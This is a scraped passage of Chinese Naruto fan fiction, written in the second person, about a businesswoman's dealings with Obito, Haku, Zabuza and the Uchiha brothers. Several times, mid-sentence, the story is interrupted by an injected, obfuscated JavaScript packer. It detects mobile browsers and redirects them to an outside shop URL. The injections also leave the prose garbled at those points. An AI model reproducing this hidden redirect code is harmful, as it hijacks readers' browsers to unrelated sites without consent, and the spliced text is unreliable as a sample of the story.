他说的消息你比他先一步知道,否则你也不会让再不斩去雨之国调查的,他说的怎么净是些没用的废话,唯一有用的可能是关于疫苗的研制进程吧,这就是和大蛇丸这种科学怪人合作的好处,他的科研能力确实过硬,基本上你提出什么想法,过个几个月他还真能给你交出一份像模像样的成品,这也是为什么你还能继续和他们合作。 “你说的这些我都知道了。”你摆摆手。 “就连宇智波鼬到处寻找您,这件事您也知道了?” 好端端地扯宇智波做什么?不能因为他的上司对宇智波念念不忘他也变得对宇智波充满执念啊。 “和我无关。”你用眼神示意他可以滚蛋了,他似乎还有些恋恋不舍,他说:“我在床头柜上给您留下了一盒安神药剂,您睡不着的时候可以服用一些。” 真的不是毒.药吗?你深表怀疑。 “不是毒.药,我怎么舍得伤害您呢?”他好像看穿了你内心的想法,笑着留下这句话后离开卧室,走的是阳台,还挺懂事,至少知道把阳台门给关上。 在他走后你拿起床头柜上的那盒药,总有种这是从实验室拿出来的半成品,药效虽然很好,但副作用更是跟开盲盒一样。 把那盒药丢进抽屉深处,你关掉床头灯,盖上被子舒舒服服地准备入睡。 与此同时的世界其他地方远没有你这边的气氛那么宁静。 远在木叶的佐助也从哥哥鼬微妙的态度里得知你可能不会回来了,“明希她走之前就没有对哥哥你说些什么吗?”佐助追问着自己的哥哥。 鼬神色毫无波澜,他说:“没有,她什么都没说,不过佐助你也不用那么紧张。” 怎么可能不紧张啊,直觉告诉他,你这次离去就是永别,你彻底地将他们给抛下了,他想不明白,难道你就对木叶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16580863|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,对他们没有哪怕一丝丝的留恋吗?你真的能够毫无挂念地转身离开吗?又或者、这其中有什么隐情呢?你遇到了什么事情吗?佐助自然而然地就开始给你寻找合适的理由,此以来解释你的行为。 但鼬却说:“她就是想要离开了而已,明希她是个非常任性的人啊……” 明明之前家里还在商讨着哥哥和你的婚事,结果你中途却逃跑了,这让家里的气氛变得微妙而凝重,母亲美琴询问哥哥是不是和你闹矛盾了。 鼬仔细回忆了一下,发现你在临走的前几天还在拆散他的腰带玩礼物打包的游戏,不用怀疑,他就是那份礼物,那个时候完全看不出来你要走,从这个角度来看,你的演技确实很好,甚至能够骗过宇智波的双眼。 于是他很肯定地说:“没有,在她走前我都没有察觉到什么异样。” 佐助忽然想起了什么,“她好像不怎么想要结婚的。”那次的对话,莫名在他脑海里浮现,你问他在他看来婚姻是什么,他说这是和相爱的人携手共度一生的仪式,然后你就说他还是个小孩子什么都不懂。 也许就是从那个时候开始你就在计划自己的离开了吧? 鼬说:“……看来不该那么早说婚礼的事情的。” 佐助沉默着,他自己现在的情绪奇怪得就连他自己都无法理解,因为就在刚才,他的心里忽然冒出一道声音,像是在责怪是他的哥哥没能留住你,他很快就将这道声音压了下去,他不该责怪自己的哥哥,毕竟对方是他一直仰望的存在。 可事情已经演变到现如今的局面,他只能用沉默来应对一切。 鼬拍了拍他的肩膀,安慰道:“我会去找她的。” 找到了,然后呢?他隐约能猜到他的哥哥是无法说服你的,因为只有你说服他的份。 算了,如果是哥哥去找,那还不如他自己去找呢,或许结局还会有所不同呢,他心想。 而此时此刻在讨论着你的宇智波不只是他们,在遥远的雨之国,坐落在阴雨连绵地区的雨隐村,身穿黑底红云长袍的男人翻看着刚刚截获的那一批军.火的清单,跪在他面前的男人正是你那个商队的领头人,他被吓得瑟瑟发抖,“这、这就是货物清单了,还有其他的文件我也都给您了,现在您能放我走了吗?” “嗯……很抱歉还是不能呢,毕竟我还有别的打算,就得要辛苦你一下啦。”话音落下,面具下的猩红写轮眼直视着男人的双眼,刚才还在因为恐惧而颤抖的男人瞬间脸色变得麻木如同木头人。 “让我看看,你们的老板还真是有远大志向的人啊,不光是军.火,医疗,食品,交通运输还有娱乐业都有所涉猎,她是想要控制这个世界吗?” 男人的手指敲了几下桌面,那就有点糟糕了,毕竟这样一来不是和他的目标冲突了吗? 嗯,看来得要去亲自拜访你一下了。 20.第 20 章 你在打发走药师兜以后过了一段悠闲时光,每天上午工作,下午和晚上休息,实在不想工作的时候就把那些文件都丢给白,而你则是理直气壮地享受午后时光。 其实也没有享受多久,因为你在外面晒了一会就觉得太热又撤回室内,白还在你的书房批阅文件,你穿过客厅去厨房的冰箱倒杯冰水喝,冰箱门打开又合上,冰箱门后忽然出现一道身影,身穿黑底红纹长袍,头戴橘色面具,你总觉得这装扮有些眼熟,你端着水杯,用吸管搅拌里面的冰块。 对于这个不速之客,你的反应出奇的平静,你问:“请问你要喝点冰水还是果汁?现在手头没什么好的茶叶,所以恕我不能给你提供茶水了。” 这绝对不是询问喝什么的合适场合,宇智波斑,不,还是用宇智波带土来称呼他吧,他微微眯起眼睛,就像是捕食者在打量猎物是否有逃跑的意思,你喝了一口冰水,“今天的天气真热啊。” 难道是在试图用这些话题来转移他的注意力?以此等来你的救援?宇智波带土大发善心地告诉你,“如果你是在等你的手下的话,那我可以告诉你,你等不到的,你现在已经身处我的幻术世界。” 啊?你压根就没在等救援啊,你刚才真的只是出于礼貌才询问他要不要喝点什么的,毕竟这个天气还穿一身黑袍子,看着就觉得很热。 反倒是他嘴巴一张就告诉你这里不是现实世界而是他的幻术世界。 有的时候仅仅通过几句话就能发觉对方的性格本质,要你说的话,站在眼前的神秘男人从某种程度上来说倒是格外实诚,你放下杯子,“既然是你的幻术世界,那么……这么说来——”你若无其事地打开冰箱旁边的另外一个柜子,从里面找出早就被你喝没了的茶叶罐子,打开一看,哇哦,里面确实还有茶叶。 “现在我们可以喝茶了。”你说着,端着茶盒穿过厨房来到客厅,宇智波带土没说什么,如同鬼魅般踩着你的影子也来到客厅,你对他做了个请的手势,“你这么急匆匆地找过来,肯定是有什么重要的事情对我说吧?但也不用太着急,坐下喝杯茶吧。” “你知道什么是幻术世界吗?这个世界是完全受到我控制,我就是这个世界里的神明。”他还以为你对幻术世界没有清晰的概念,实际上你了解得很,毕竟以前你就经常去鼬的幻术世界里游玩,至于玩什么就不赘述了。 你动作熟练地泡茶,又说:“是么,那你没有对我动手,就足以说明你是个文明人,我喜欢和文明人谈生意。” “我不是来和你谈生意的。”宇智波带土在你对面坐下,他凝望着你的脸,毫无疑问的,你是个长相极为漂亮的人,那份美丽是任何人都难以拒绝的,但他不会被你的假象所欺骗,他早已看穿你的真实目的。 “是么,你确定吗?我手底下的产业很多,只有你想不到的,没有我不涉足的。” 话语间,茶香四溢,你递给他一杯茶,隔着朦胧的茶雾,你的眼眸隐约在对他笑,“黑的,白的,见得光的,见不得光的,我都有所涉猎,所以,你如果是来找我谈生意的,那么你可算是找对人了。” 这种运筹帷幄的掌控感让宇智波带土直皱眉,他不悦地将茶水一饮而尽。 你饶有兴致地盯着他看,“不烫吗?”你还想和他说慢慢品尝的,但他刚才就跟有怨气似的对着茶水撒气,你认识的那几个宇智波都是猫舌头,很怕烫,所以眼前的不知名宇智波或许也有这个特性? 舌头确实有点被烫到的宇智波带土冷声道:“少废话了,你涉足那么多的产业,甚至还勾结各国的大名贵族,买通他们,然后一步步地成为行业垄断的巨头,你真以为我不知道你想要做什么吗?” 等手中的茶盏变温,你就问:“我想要做什么?” “你无非就是想要统治这个世界。” 唉,好无趣的猜想,但凡他猜你想要当个慈善家都还算是有想象力,你单手托腮,“我对统治世界兴趣不大。” 他没说话,但浑身上下的气息无不在透露出一个回答:我不相信。 “信不信由你,但我可以肯定,你想要统治世界,不,准确来说应该是改变这个世界,那么不妨和我说说你理想中的世界又是怎样的呢?”你顿了顿,又补充道。 本来不该和你说的,像你这样唯利是图的商人又怎么能够理解月之眼计划呢?他本该直接用写轮眼控制你的,但是目光在接触到你的双眼时,眼神触及你的眼底的笑容时,荒谬的事情发生了,那一瞬间被控制的人反而像是他,这才使得他格外恼怒,是被你先下手了吗?但根据调查你只是一个普通女人,体质普通,不会任何忍术,也没有特别的血继限界。 就是、那么普通的女人而已,但又为什么…… 宇智波带土很少与人这么心平气和地谈论,至少在他成为“宇智波斑”以后,这样的谈话就再没出现过,他心中对于这个黑暗世界的火焰无休止地烧灼他的内心,使得他无法安宁下来,他想,这份怒火他要让全世界的人都体会一遍才行。 你又给他倒了一杯茶,你说:“这次的茶没那么烫,可以直接喝。”你这话是在暗讽他刚才的第一杯茶吗? “我的计划你无法理解,像你这样的人……又怎么能够明白——” “或许吧,但有一点我可以肯定,那就是做任何事情都需要资金,而我呢又恰好是个很有钱的人,你有考虑过拉投资吗?” 宇智波带土停顿了一下,他确实没有考虑过这种事情,因为只要他想,他完全可以利用写轮眼让对方乖乖奉上钱财,而不是讨好对方换取钱财。 “你要让我对你卑躬屈膝?”他冷声道。 这理解能力 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16583811|186605||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真是出乎你的意料,你揉了揉太阳穴,如果不是他看上去稍微有点意思,而且他的写轮眼还是万花筒写轮眼,你都懒得和他说这些有的没的。 “我们这是平等合作。” “呵,平等。” “你可以考虑一下,我对统治世界不感兴趣,但对你挺感兴趣。”你很好奇他的万花筒写轮眼会有什么特别的能力呢?你记得在木叶的宇智波里好像只有止水拥有万花筒,你曾经看过几眼,对于敌人来说那么可怕的武器在你面前就变成了供观赏的东西。 宇智波带土放下茶盏,“你的胆子倒是很大,就不怕我杀了你?” “你不会的。”你抿了一口茶,对面的神秘男人身影逐渐消失,你也回到真实世界,感知到不对劲的白急急忙忙地从楼上下来,他说:“明希——我刚才好像感应到了什么,有入侵者!” 对此你满不在乎地摆摆手,“不用担心,他已经走了,你的文件都处理好了吗?” 白跑到你身边,从头到脚地查看你,没有看见伤口,他又去看你的眼睛,你的表情看上去也很正常。 可他还是无法原谅自己,就因为自己的疏忽,差点让你身处险境,他说:“抱歉——这都是我的错。” “别露出那么一副天塌下来的表情,我现在很好,一点事都没有,如果真的要说的话,甚至还可以说是遇到了好事呢。”白握住你的手,你的手稍微一用力把他往自己的方向一带,让他和你一块坐在沙发上,你拍拍他的后背,“刚才来的那个客人很有趣噢。” “但他很危险不是吗?” “啊……但生意就是这样高收益伴随着高风险。” “诶,明希在和他谈生意吗?”白愣了一下,发现你表现得很平静,好像只是在谈论一件有趣的小事情而已,他的手指紧紧地握住你的手腕,他无法想象如果刚才那个神秘人真的对你做了什么的话…… 差不多算是在谈生意吧,你一看到他就感觉像是见到了那种非常典型的热血漫里的反派,为了创造新世界而兢兢业业,最后被主角全都毁掉,听上去好像还有点可怜。 你想要赞助他也是想看看他能走到哪一步,更重要的是,你还可以利用他的能力扩大自己的商业版图,至于为什么不利用木叶那几个宇智波的能力,原因也很简单,对方都想着要和你结婚了,这一点让你很头疼。 当然了,其中也有一部分原因是因为你是个喜新厌旧的人吧。 此时此刻被你盯上的宇智波带土离开你的住所,他还在回想和你的对话,如果能够将你拉入自己的同盟,让你提供人脉和金钱这也不失为一种方法,只不过,直觉告诉他你不是个好应付的人。 但是无论怎么说,他是忍者,你只是个普通人,在这场与你的对弈中他肯定是占据上风的那一个,这是毋庸置疑的。 21.第 21 章 你有预感自己还会再和那位神秘人见面的,你的预感从来没有落空过,再次见到对方已经是好几个月后的事情了,天气也逐渐转凉,你在思索什么时候会下雪,白一听你想看雪,他就说自己可以人工降雪。 “但人工降雪和天然雪是不一样的吧。”你这么说,这感觉就像是在探讨人工制造的雪花有没有灵魂一样。 白不太明白,但他还是很认真地听着,最后你摆摆手,自己也觉得这个话题没意义,于是你换了个话题,你前两天收到再不斩寄来的信件,说是之前你安排去运送那批军.火的负责人自杀了。 好端端地怎么自杀了呢,明眼人一看就知道这是有问题的,不过值得庆幸的是那一批的军.火最终还是在再不斩的监管下送到了买方手上,你也收到了对方打过来的尾款。 但少了一个得力手下也是你的损失,你还得再安排个人,一时之间你都没想好该选谁,而宇智波带土就是在这个节骨点冒出来的,你坐在客厅看文件,你身后的半空中出现一道漩涡,紧接着一道身影随之出现,站在沙发后居高临下地俯视你。 你没抬头,只是拿起茶几上的热可可,“外面夜雾浓重,还是来杯热可可暖一暖身体吧。” 他微微眯起眼睛,从他视角来看因为你的低头,后颈也若隐若现,如果他想要杀死你的话,大可以直接伸手掐断你的脖颈,他说:“这就是你谈合作的态度?” 闻言,你这才坐直身体,坐姿也不怎么规矩,仍旧透着一股懒洋洋的气息,你说:“原来你是来谈合作的啊,我还以为你是路过这里来做客的呢。” “我们甚至都没有交换姓名,更不算是你的客人。”宇智波带土说,他急于和你撇清关系,他不喜欢你这幅慵懒的姿态,好像势在必得,好像运筹帷幄,这都让他本能地警惕。 “但你可以是。”你站起身,趿拉着拖鞋穿过客厅,厨房还有半壶热可可,温度刚刚好,你仿佛真的把他当成了客人,主动去厨房给他倒了一杯热可可。 又是这样,在与你交谈之后事情的发展就开始脱离他的控制,自从上次和你交谈过后宇智波带土就认真地复盘了许久,他发现就该让你少说几句话,这样才不至于让你完全掌控话语主导权,所以这次他吸取经验,尽可能不给你说话的机会。 青年犹如一道幽魂飘到厨房,只见你从柜子里拿出一个浅黄色的马克杯,你又抬手关上柜子门,宽松的睡袍袖口向下滑,露出一截小臂。 这个时候他应该说些什么的,至少得要抢占先机,免得你又说出什么奇怪的话来转移话题,但是他什么都没说,只是注视着你,空气中漂浮着巧克力的甜味,这让他想起了很久以前的回忆,在情人节的时候同队的卡卡西总能收到很多巧克力,但他一点也不在乎,那些巧克力都被他冻在冰箱里,一直到开春了他去卡卡西家的时候才发现。 “啊、因为我不怎么喜欢巧克力在嘴里融化的感觉。”卡卡西那么说,与带土同行的琳说,“那不如做成热可可吧。” 那都是……距离他很遥远的事情了,为什么会突然想起来呢?他有些恍惚,下一秒就听见你开口,“你要几颗棉花糖?” “什么?”他出声,用的是他本来的声音,他烦躁切换声线,“我不需要这些东西。” 你轻描淡写地“噢”了一声,“那就三颗吧。” 他看见你从透明的食品包装袋里取出三颗圆滚滚的白色棉花糖,丢进热可可里,很快地,热可可表面就浮出一层淡淡的白色。 最后还是用手端着你给的热可可,宇智波带土焦躁不安,他说:“你和每个来谈生意的人都这么招待他们?” “没有,你是特例。” 你甚至都还不知道他的名字,宇智波带土想,对他也不甚了解,就脱口而出说他是特例,他也就只有鬼迷心窍才会相信你说的话。 他说:“在雨之国滞留的那批货物已经交到买家手上了吧?”他盯着那杯温暖的热可可,这样实在是太割裂了。 “毕竟是你动的手,你是最清楚的那个才对,怎么还要反过来问我呢?” “做生意就是会伴随着很多风险,我以为你明白的。”宇智波带土带着几分恶意地笑着说,“还有你的那个下属,实在是个没骨气的东西,稍微一威胁就要背叛你,所以我替你解决了他。” 这反倒成了他的功劳了,你说:“那我是不是应该谢谢你?” “谢谢就免了,日后我们还有很多合作的机会。”宇智波带土内心的不安稍微减弱了一些,看起来他似乎是占据了这场对话的主导权。 你放下手里的杯子,然后说:“合作的前提是坦诚相见,你都不告诉我你的名字,那又怎么论得上是合作呢?” “宇智波斑,这是我的名字。” ……他就庆幸这个世界还没有形成电子户籍系统吧,否则一查一个准,你说:“噢,原来你是个老头啊。”话语间你要把那杯热可可从他手里拿走,“里面有咖啡因,老人喝了容易睡不着,我知道老年人一向少觉,这也是体谅体谅你。” 但是你没拿动,宇智波带土像是在和你较劲,愣是不松手,你的手劲没他大,尝试了几次就松开手,活动一下手腕,又说:“你肯定不是宇智波斑。” “信不信随你。”宇智波带土冷笑一声,笑完以后又解开面具的一角只露出下半张脸,安静地喝了几口热可可。 眼前的男人肯定在骗你,但也无所谓,反正你也只是想要利用他的能力而已,这种空间转换能力很适合运送那些容易被抢的珍贵货物,在你看来他简直就是个人形运输机,如果不能好好利用的话,你都觉得自己亏了。 谎言只是一时的,你知道他总有一天会说出真话的,毕竟你和宇智波相处的经验摆在那里。 前面说着不需要热可可的男人最后还是喝完这杯热可可,然后又丢下几句话和一份文件离开这里,你翻开一看,发现那都是你的竞争对手的行程表,有了这些东西想要解决那些竞争对手轻而易举。 被你支开的白在宇智波带土离开后才出现,他说:“他又来了?” “嗯。”你弯腰收起茶几上的马克杯,又问白,“你要来一杯吗?” 白表情奇怪地说:“……你们刚才就是一直坐着喝热可可吗?” “是呀,很难想象吧,和那种危险人物一起喝热可可。” 白还是很担心,他不希望你被卷入到危险的漩涡里,但你好像乐在其中,他也不该阻止你的,他想着想着眉毛就皱起来了,你伸手抚平他的眉头,“厨房还有棉花糖,吃烤棉花糖怎么样?” 忧心忡忡的白被你拉着来到厨房,看你在筷子上面串上两颗棉花糖,又折返回到客厅的壁炉旁边,坐下后和白一起烤棉花糖,白色的棉花糖表面很快就被火烤得起一层焦糖色。 “这种程度刚刚好。”你用两块饼干夹着烤得软乎乎的棉花糖,这就变成了夹心饼干。 白咬了一口夹心饼干,柔软的棉花糖内芯还带着一股焦糖甜味,他的唇角不由自主地上扬。 “总算是笑了呢。”你说,“刚才你一脸忧愁的样子真让我担心。” “抱歉。”他刚才居然让你担心了,明明……他的职责就是替你排忧解难的,这也是他存在的意义,但是……他反而因为自己没控制好情绪给你添麻烦了,这怎么想都是他的错。 “不要对我说抱歉,白还只是个孩子呢,你没必要做得那么面面俱到,偶尔耍点小脾气也正常啊。”你又说起在木叶的佐助,你说,“佐助比你小两岁,他就是开心就笑,不高兴就直说,不会一个劲地给人道歉。” 白是知道佐助这号人的,那是你在木叶那个家里的孩子,与他岁数相仿,只是生活的环境截然不同,他可以说是被你注视 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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啊、你对他的喜爱是与日俱增的吗?他的大脑一片空白,就连说话也是磕磕巴巴的,“我……不该问这个的。” “就算问了也没关系啊。”你满不在乎地耸耸肩。 原来幸福就是这样的东西吗?柔软的,甜蜜的,却又让人想要流泪的东西,他手里还拿着你给的夹心饼干,漂亮的眼睛变得湿漉漉的,他说:“明希…明希……” 好像每呼唤一声就能离幸福更近一点。 最后你笑着把他拥入怀里,你听见他在忍着抽泣声,你拍拍他的后背,“哭出来也没关系。” “我上次说过那是最后一次掉眼泪。” “你现在才几岁啊就说最后一次,那句话不作数。” 然后就是少年的泪水打湿你的领口,他最后很抱歉地表示自己会给你洗衣服的。 反正平常你的衣服也都是他在洗,你就摆摆手,说这不是什么重要的事情。 “那什么才重要呢?” 你捧着他的脸,“你心情好点了吗?” “嗯……好多了。” “这个才重要。” * 后来某天你在参加波之国当地的节日庆典时在钟楼上遇到了突然出现的宇智波带土,你靠着钟楼的围栏,俯视这座因你而繁华的城市,宇智波带土的声音飘了过来,“这种城市存在于这样腐朽的世界里终有一天也会被腐蚀的。” “你想去逛逛吗?”你侧过头看他,他紧抿着嘴唇,“我不是来和你谈这些的。” “那我们可以边逛街边谈事情,这两者不冲突。” 宇智波带土想拒绝,但你已经对他伸出手,他拍开你的手,“你又在转移话题。” 你收回被拍开的手,沿着钟楼内部的旋转楼梯往下走,被你抛在身后的男人又跟了上来,你走一级台阶,他走两级,很快就追上你。 “咦,你不继续在楼上思考世界的意义吗?”你笑着问。 宇智波带土说:“你是故意的。” “那你也上钩了。” 22.第 22 章 虽然很不想承认,但宇智波带土确实是出于下意识地跟上你的脚步,你踩着台阶往下走,走了一圈又一圈,最终来到底部出口,你说:“想要吃点什么吗?”就像是普通人逛集市一样,你用惺忪平常的态度对待他。 就好像他在你面前只是一个普通人而已,你问他要不要吃点什么,他反问:“这次没让你的随从跟过来吗?”你到也是胆大,不害怕他直接对你动手。 你说:“白是我的伙伴,请你以后不要用这种词语在指代他,很不尊重人。”你走出几步路又回过头,他瞥见你微微蹙起的眉,之前无论他说多少挑衅的话都气定神闲的你现在居然隐约浮现出几分不悦,而导火索就是那个名叫白的少年。 明眼人一下子就能看出来你对白的态度很不一般,他说:“尊重,这种东西也会存在于你的身上么?” “当然,哪怕是想要杀死我的人我也会给予充分的尊重。” 宇智波带土总觉得你这是在阴阳怪气他,他之前确实打算杀死你,但也只是个打算而已,并没有付诸实践,而且现在……他的想法也有所改变,比起直接把你杀死,倒不如利用你将你的价值最大化。 走出钟楼的你路过街边的小店时买了一份糕点,虽然味道肯定是没办法和你上辈子的糕点相比的,但胜在纯手工纯天然,一点科技添加都没有。 这是一份糕点拼盘,什么鲜花饼绿豆酥冬瓜糖还有软糯的红豆糕都挤在一块,看得人眼花缭乱,你捻起一块冬瓜糖咬了一口,又把剩下的都递给对方,后者奇怪地问道:“你这是什么意思?” “分享啊,我可不是那种喜欢吃独食的人,来尝尝吧,吃点甜的心情也会变好的哦。”而且据你所知宇智波大部分族人都挺喜欢吃甜的,是不折不扣的甜党。 宇智波带土迟疑几秒,现在轻松愉快的气氛让他无所适从,他不该这样的,不该在这里浪费时间的,更不该和你玩这种过家家的游戏,就像是自己被耍了一样。 最后还是接过那个食盒,没有马上挑选点心,过了很久,你眼角的余光才扫到他拿起一块软软的红豆糕,又将面具揭开一角,露出下半张脸,虽然一边脸覆盖着可怖的伤疤,但只看轮廓的话也能确认他应该长相清秀。 他安静地吃掉一块红豆糕,抿了抿嘴唇,又听见你问道:“不来点评一下吗?” 宇智波带土冷哼一声,“无聊。” 嘴硬的家伙是这样的,面对他的恶劣态度你也没有生气,反而是笑盈盈地看着他,倒也不是因为你的性格有多好,你觉得自己在绑定这个大资本家的系统以后性格也逐渐变得冷血,距离变成真正残酷无情的大资本家似乎只有一步之遥了呢。 你能够对宇智波带土那么有耐心也只是因为他身上充满了可以被你利用你的价值,从某种程度上来说,你们的想法可谓是不谋而合了,只不过最终的赢家只有一个,而且大概率还是你。 从集市的这头走到那头,最后再坐在河边的长椅上,静静地看着夕阳坠落在河水里,你说:“这样的生活也不错不是吗?” “你又如何能够保证未来的几十年,甚至是在你死后这里仍旧那么繁华如同世外桃源呢?”宇智波带土坐在长椅的另外一端,他想问题总是容易钻牛角尖,不,应该说是他太过追求极致,极致的和平,极致的完美新世界。 “但至少现在,我和你都活在这一个瞬间,你刚才不也感受到了吗,这个世界的美好。”你的手臂搭在长椅的椅背上,侧过头去看宇智波带土,“哪怕一点点都没有吗?” “不过是如梦泡影而已。” 你也不急着这么一时半会的功夫说服他,反正直觉告诉你他日后还会来找你的,所以你还有很多机会能够说服他入伙。 至于今天……你瞥了一眼缀在天边被地平线一点一点晕染开的夕阳,时间也不早了,你站起身,“我要回去了,你要跟着我一起回去吗?白应该已经准备好了晚餐。” 无论是你说话的语气还是你的神态都让宇智波带土莫名感到一阵烦闷,直到后来他才意识到那是事情逐渐脱离他的掌控时内心涌现出的不安,但是现在他还没发现,也没能确定,他没应声,使用神威从你身边消失,等你再次回过头的时候身后空无一人。 踩着最后一缕夕阳慢悠悠地走回家,白站在路口等你,他看向你的身后,没看见宇智波带土的身影,这让他的心情也变得轻松了一些,但他还是出于礼貌地问了一句,“他没有跟着回来吗?” “没有,估计是手头还有别的事情要处理吧。” 的确,真的被你说中了,回到空间里的宇智波带土看了一眼手上还拿着的食盒,想要丢掉,但最终也没有那么做。 不能再这样被你牵着鼻子走了,他在心里暗暗下定决心,那就是下次见你一定要扭转局势,将主导权夺回来。 * 你在波之国的生活还算悠闲,如果不是还要处理工作,其实和退休后的养老生活没有什么区别。 前阵子去雨之国打探情报的再不斩回来了,带着一股血腥味回来的,还没找到你,最先见到的就是白,他说:“再不斩先生,在见明希之前您还是先清洗一下自己吧。” 白这话说得委婉,再不斩不悦道:“怎么,她连一点血腥味都忍受不了吗?” 话是这么说的,表情和动作都是不耐烦的,但身体还是很老实地走到浴室里清洗自己,你确实不怎么喜欢血腥味,以前他护送你去水之国的时候就发现了这一点,每次他解决了敌人,你都会叮嘱他好好清洗,他也是那么不耐烦。 也不知道他不在的这段时间里你都遇到了什么事情,走到浴室里打开花洒,温水哗啦啦地落下,他的背脊还有胸膛都留着深浅不一的伤疤,有的伤口还没有好全,热水一冲,泛出隐隐的刺痛。 不过只是刺痛而已,他对此毫不在意。 不仅仅是清洗,甚至还用柑橘香型的沐浴剂去除身上的血腥味,等你再次和他见面的时候还能闻到他身上飘过来的沐浴剂香味,你说:“你刚刚洗过澡了?” “是啊,要不然我一身血腥味恐怕会让你做噩梦的吧?” 做噩梦那倒不至于,顶多就是让你有些膈应而已,你点点头,用半是夸奖的语气说:“那你还真挺懂事的。” 再不斩想要的可不是你这样的夸奖,他抿了抿唇,唇线绷直,有的人天生就是这样一幅生气脸,面无表情的时候像是在生气,笑起来的时候也像是在生气,而再不斩就属于这一类人,你询问他这次工作的情况如何,这才算是让他稍微转移注意力。 他用公事公办的语气向你汇报情况,说得很简略,概括起来就是几句话,到达雨之国不久后就遭到了袭击,与对方缠斗一番后才艰难脱身,你听完他的汇报,就说:“那我给你批几天病假吧,几天不够的话半个月也行。” 大概是因为你上辈子就是社畜,所以听到再不斩这么说心里想的都是工伤赔偿还有请病假的事情,但这绝不是再不斩想听的,他听你说完这些脸色也没有好转的迹象,他说:“你就是这么打发我的?” 瞧瞧他这话说的,什么叫做打发啊,你主动提出工伤赔偿还有病假都已经算是很有良心的老板了好么,你说:“那你还想要什么?说来听听。” 你倒想看看他还会要点什么。 再不斩长久地注视着你,你看了回去,“过了这个村可就没这个店了。” “我要你。”他的声音平淡,却又隐藏着几分克制过后的汹涌情感。 “这样吧,你再去做个头部检查吧。”你很有耐心地说,再不斩算是个很好用的员工,虽然脑袋暂时出了点问题,但你也不想就这么辞退他,不然你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宇智波带土想也不想地就拒绝了,他还反问:“这就是你的目的吗?接下来你还想要做什么呢?” 就像是出现应激反应的动物似的,他的语调稍显急促,你说:“没什么,那你就当我刚才的话没说过吧,没想到原来你这么害怕我啊。” 害怕?在开什么玩笑啊,他只需要稍微动一动手指就能拧断你的脖子,在这样的实力差距下他怎么可能会害怕你,他忍不住嗤笑一声,又说:“我一点也不害怕你。” “真的吗?那你和我见面的时候还要戴着面具,你担心我认出你的真实身份?你又在害怕别的什么?” “省省吧,你的激将法不会有用的。” 那可不一定,在他说出这番话的时候就意味着他已经掉入你的陷阱里了,你微微眯起眼睛,安装在阳台边边角角的小灯散发出微弱的光芒,你借着微光去寻找他的眼眸,你伸出手,动作很缓慢,在身为忍者的眼里那堪比电影的慢动作。 他完全可以躲开的,但是他没有,他停在原地,任由你的手指触碰到他的面具边缘,他的内心又在期待着什么呢?在你手指捻着他面具一角时,他又为什么会屏住呼吸呢? 想象中的反抗没有出现,他可以说是乖巧地被你揭开面具,你也得以看到他那张面具下的脸,盘踞着可怕的伤疤,但一眼看过去却不觉得吓人,也许是因为他的神色。 你的指腹轻轻地触碰了一下他的侧脸,他这才像是找回自己的声音,找回自己的思绪,他后退一步,“现在既然你已经见过我的脸了,那么日后如果你要泄露秘密的话,我绝对会杀了你的。” “是吗?”你举起手中的玻璃杯碰了一下他的杯子,发出清脆的声响,“红着脸说这种话没什么威胁力啊。” 35-40 第36章 “这次的任务是要去玉之国?”宇智波鼬问道,佐助在出发前和自己的哥哥鼬提了一嘴任务的事情,他很上心,还对佐助说:“那个国家流行赌石,但能够赌赢的人寥寥无几,所以那里多得是赌得倾家荡产后的亡命之徒,所以的……佐助你最好小心一些。” “嗯,我知道的。”面对哥哥的关心佐助淡淡地应了一声,他背上行囊走到门口,宇智波鼬也跟了过来,一副欲言又止的模样。 在这个时候哥哥又想要对他说什么呢?佐助安静地望向哥哥,后者的目光沉静如水,他说:“总之,一切都要小心。” 最后还是没有把他要说的话说出口吗?佐助垂下眼帘,这次他没应声,但点了点头就算是回应。 自从那次宇智波集会结束后,他和哥哥关于你的谈话不了了之,他就觉得自己好像和哥哥之间莫名升起一层隔膜,他愈发看不懂自己的兄长,或许他的哥哥也是这么认为的吧。 可究其原因还是因为你,他和哥哥产生了分歧。 他在思索你为什么会离开,思考自己到底错过了什么细枝末节的事情,当然,他的哥哥也会那么做,只不过他在反思的时候往往带着几分幽怨,就像是被你抛弃了一样,这么说或许有些不妥当。 佐助觉得你所做的一切都是有原因的,而且你的想法变化也都是有迹可循的。 明希,生活在宇智波的十多年是否对于你来说一直都在寄人篱下呢? 这样的感觉肯定不好受……所以佐助也从一开始的不解,甚至是生气你抛下了自己,到后来逐渐能够理解你的所作所为。 完全地站在你的角度思考问题,站在你的立场上,他就无论如何都无法责怪你了。 